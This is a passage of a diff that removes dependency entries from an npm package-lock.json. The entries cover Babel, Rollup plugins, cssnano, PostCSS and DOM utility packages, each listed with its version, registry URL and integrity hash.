"^8.4.6", - "postcss-cli": "^9.1.0", - "postcss-import": "^14.0.2", - "rollup": "^2.67.2", - "rollup-plugin-terser": "^7.0.2", - "tslib": "^2.3.1", - "typescript": "^4.5.5" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", - "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", - "dev": true, - "dependencies": { - "@babel/highlight": "^7.18.6" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", - "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==", - "dev": true, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/highlight": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", - "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", - "dev": true, - "dependencies": { - "@babel/helper-validator-identifier": "^7.18.6", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", - "dev": true, - "dependencies": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.8.tgz", - "integrity": "sha512-YK5G9LaddzGbcucK4c8h5tWFmMPBvRZ/uyWmN1/SbBdIvqGUdWGkJ5BAaccgs6XbzVLsqbPJrBSFwKv3kT9i7w==", - "dev": true, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/set-array": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", - "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", - "dev": true, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/source-map": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", - "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", - "dev": true, - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.0", - "@jridgewell/trace-mapping": "^0.3.9" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.4.14", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", - "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", - "dev": true - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.14", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.14.tgz", - "integrity": "sha512-bJWEfQ9lPTvm3SneWwRFVLzrh6nhjwqw7TUFFBEMzwvg7t7PCDenf2lDwqo4NQXzdpgBXyFgDWnQA+2vkruksQ==", - "dev": true, - "dependencies": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@rollup/plugin-commonjs": { - "version": "21.1.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-21.1.0.tgz", - "integrity": "sha512-6ZtHx3VHIp2ReNNDxHjuUml6ur+WcQ28N1yHgCQwsbNkQg2suhxGMDQGJOn/KuDxKtd1xuZP5xSTwBA4GQ8hbA==", - "dev": true, - "dependencies": { - "@rollup/pluginutils": "^3.1.0", - "commondir": "^1.0.1", - "estree-walker": "^2.0.1", - "glob": "^7.1.6", - "is-reference": "^1.2.1", - "magic-string": "^0.25.7", - "resolve": "^1.17.0" - }, - "engines": { - "node": ">= 8.0.0" - }, - "peerDependencies": { - "rollup": "^2.38.3" - } - }, - "node_modules/@rollup/plugin-json": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-4.1.0.tgz", - "integrity": "sha512-yfLbTdNS6amI/2OpmbiBoW12vngr5NW2jCJVZSBEz+H5KfUJZ2M7sDjk0U6GOOdCWFVScShte29o9NezJ53TPw==", - "dev": true, - "dependencies": { - "@rollup/pluginutils": "^3.0.8" - }, - "peerDependencies": { - "rollup": "^1.20.0 || ^2.0.0" - } - }, - "node_modules/@rollup/plugin-node-resolve": { - "version": "13.3.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-13.3.0.tgz", - "integrity": "sha512-Lus8rbUo1eEcnS4yTFKLZrVumLPY+YayBdWXgFSHYhTT2iJbMhoaaBL3xl5NCdeRytErGr8tZ0L71BMRmnlwSw==", - "dev": true, - "dependencies": { - "@rollup/pluginutils": "^3.1.0", - "@types/resolve": "1.17.1", - "deepmerge": "^4.2.2", - "is-builtin-module": "^3.1.0", - "is-module": "^1.0.0", - "resolve": "^1.19.0" - }, - "engines": { - "node": ">= 10.0.0" - }, - "peerDependencies": { - "rollup": "^2.42.0" - } - }, - "node_modules/@rollup/plugin-typescript": { - "version": "8.3.3", - "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-8.3.3.tgz", - "integrity": "sha512-55L9SyiYu3r/JtqdjhwcwaECXP7JeJ9h1Sg1VWRJKIutla2MdZQodTgcCNybXLMCnqpNLEhS2vGENww98L1npg==", - "dev": true, - "dependencies": { - "@rollup/pluginutils": "^3.1.0", - "resolve": "^1.17.0" - }, - "engines": { - "node": ">=8.0.0" - }, - "peerDependencies": { - "rollup": "^2.14.0", - "tslib": "*", - "typescript": ">=3.7.0" - }, - "peerDependenciesMeta": { - "tslib": { - "optional": true - } - } - }, - "node_modules/@rollup/pluginutils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", - "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", - "dev": true, - "dependencies": { - "@types/estree": "0.0.39", - "estree-walker": "^1.0.1", - "picomatch": "^2.2.2" - }, - "engines": { - "node": ">= 8.0.0" - }, - "peerDependencies": { - "rollup": "^1.20.0||^2.0.0" - } - }, - "node_modules/@rollup/pluginutils/node_modules/estree-walker": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", - "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", - "dev": true - }, - "node_modules/@trysound/sax": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", - "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", - "dev": true, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/@types/estree": { - "version": "0.0.39", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", - "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", - "dev": true - }, - "node_modules/@types/node": { - "version": "18.0.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.0.0.tgz", - "integrity": "sha512-cHlGmko4gWLVI27cGJntjs/Sj8th9aYwplmZFwmmgYQQvL5NUsgVJG7OddLvNfLqYS31KFN0s3qlaD9qCaxACA==", - "dev": true - }, - "node_modules/@types/resolve": { - "version": "1.17.1", - "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", - "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", - "dev": true, - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/acorn": { - "version": "8.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.1.tgz", - "integrity": "sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", - "dev": true, - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/array-union": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", - "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", - "dev": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true - }, - "node_modules/binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", - "dev": true - }, - "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "dependencies": { - "fill-range": "^7.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/browserslist": { - "version": "4.21.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.1.tgz", - "integrity": "sha512-Nq8MFCSrnJXSc88yliwlzQe3qNe3VntIjhsArW9IJOEPSHNx23FalwApUVbzAWABLhYJJ7y8AynWI/XM8OdfjQ==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - ], - "dependencies": { - "caniuse-lite": "^1.0.30001359", - "electron-to-chromium": "^1.4.172", - "node-releases": "^2.0.5", - "update-browserslist-db": "^1.0.4" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/buffer-from": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "dev": true - }, - "node_modules/builtin-modules": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", - "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", - "dev": true, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/caniuse-api": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", - "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "caniuse-lite": "^1.0.0", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001361", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001361.tgz", - "integrity": "sha512-ybhCrjNtkFji1/Wto6SSJKkWk6kZgVQsDq5QI83SafsF6FXv2JB4df9eEdH6g8sdGgqTXrFLjAxqBGgYoU3azQ==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - } - ] - }, - "node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", - "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - ], - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", - "dev": true, - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" - } - }, - "node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "dependencies": { - "color-name": "1.1.3" - } - }, - "node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", - "dev": true - }, - "node_modules/colord": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", - "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", - "dev": true - }, - "node_modules/commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", - "dev": true, - "engines": { - "node": ">= 10" - } - }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", - "dev": true - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true - }, - "node_modules/css-declaration-sorter": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", - "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.0.9" - } - }, - "node_modules/css-select": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", - "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", - "dev": true, - "dependencies": { - "boolbase": "^1.0.0", - "css-what": "^6.0.1", - "domhandler": "^4.3.1", - "domutils": "^2.8.0", - "nth-check": "^2.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/fb55" - } - }, - "node_modules/css-tree": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", - "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", - "dev": true, - "dependencies": { - "mdn-data": "2.0.14", - "source-map": "^0.6.1" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/css-what": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", - "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", - "dev": true, - "engines": { - "node": ">= 6" - }, - "funding": { - "url": "https://github.com/sponsors/fb55" - } - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "dev": true, - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano": { - "version": "5.1.12", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", - "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", - "dev": true, - "dependencies": { - "cssnano-preset-default": "^5.2.12", - "lilconfig": "^2.0.3", - "yaml": "^1.10.2" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/cssnano" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/cssnano-preset-default": { - "version": "5.2.12", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", - "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", - "dev": true, - "dependencies": { - "css-declaration-sorter": "^6.3.0", - "cssnano-utils": "^3.1.0", - "postcss-calc": "^8.2.3", - "postcss-colormin": "^5.3.0", - "postcss-convert-values": "^5.1.2", - "postcss-discard-comments": "^5.1.2", - "postcss-discard-duplicates": "^5.1.0", - "postcss-discard-empty": "^5.1.1", - "postcss-discard-overridden": "^5.1.0", - "postcss-merge-longhand": "^5.1.6", - "postcss-merge-rules": "^5.1.2", - "postcss-minify-font-values": "^5.1.0", - "postcss-minify-gradients": "^5.1.1", - "postcss-minify-params": "^5.1.3", - "postcss-minify-selectors": "^5.2.1", - "postcss-normalize-charset": "^5.1.0", - "postcss-normalize-display-values": "^5.1.0", - "postcss-normalize-positions": "^5.1.1", - "postcss-normalize-repeat-style": "^5.1.1", - "postcss-normalize-string": "^5.1.0", - "postcss-normalize-timing-functions": "^5.1.0", - "postcss-normalize-unicode": "^5.1.0", - "postcss-normalize-url": "^5.1.0", - "postcss-normalize-whitespace": "^5.1.1", - "postcss-ordered-values": "^5.1.3", - "postcss-reduce-initial": "^5.1.0", - "postcss-reduce-transforms": "^5.1.0", - "postcss-svgo": "^5.1.0", - "postcss-unique-selectors": "^5.1.1" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/cssnano-utils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", - "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/csso": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", - "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", - "dev": true, - "dependencies": { - "css-tree": "^1.1.2" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/deepmerge": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", - "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/dependency-graph": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", - "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", - "dev": true, - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "dependencies": { - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/dom-serializer": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", - "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", - "dev": true, - "dependencies": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" - }, - "funding": { - "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" - } - }, - "node_modules/domelementtype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", - "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fb55" - } - ] - }, - "node_modules/domhandler": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", - "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", - "dev": true, - "dependencies": { - "domelementtype": "^2.2.0" - }, - "engines": { - "node": ">= 4" - }, - "funding": { - "url": "https://github.com/fb55/domhandler?sponsor=1" - } - }, - "node_modules/domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", - "dev": true, - "dependencies": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" 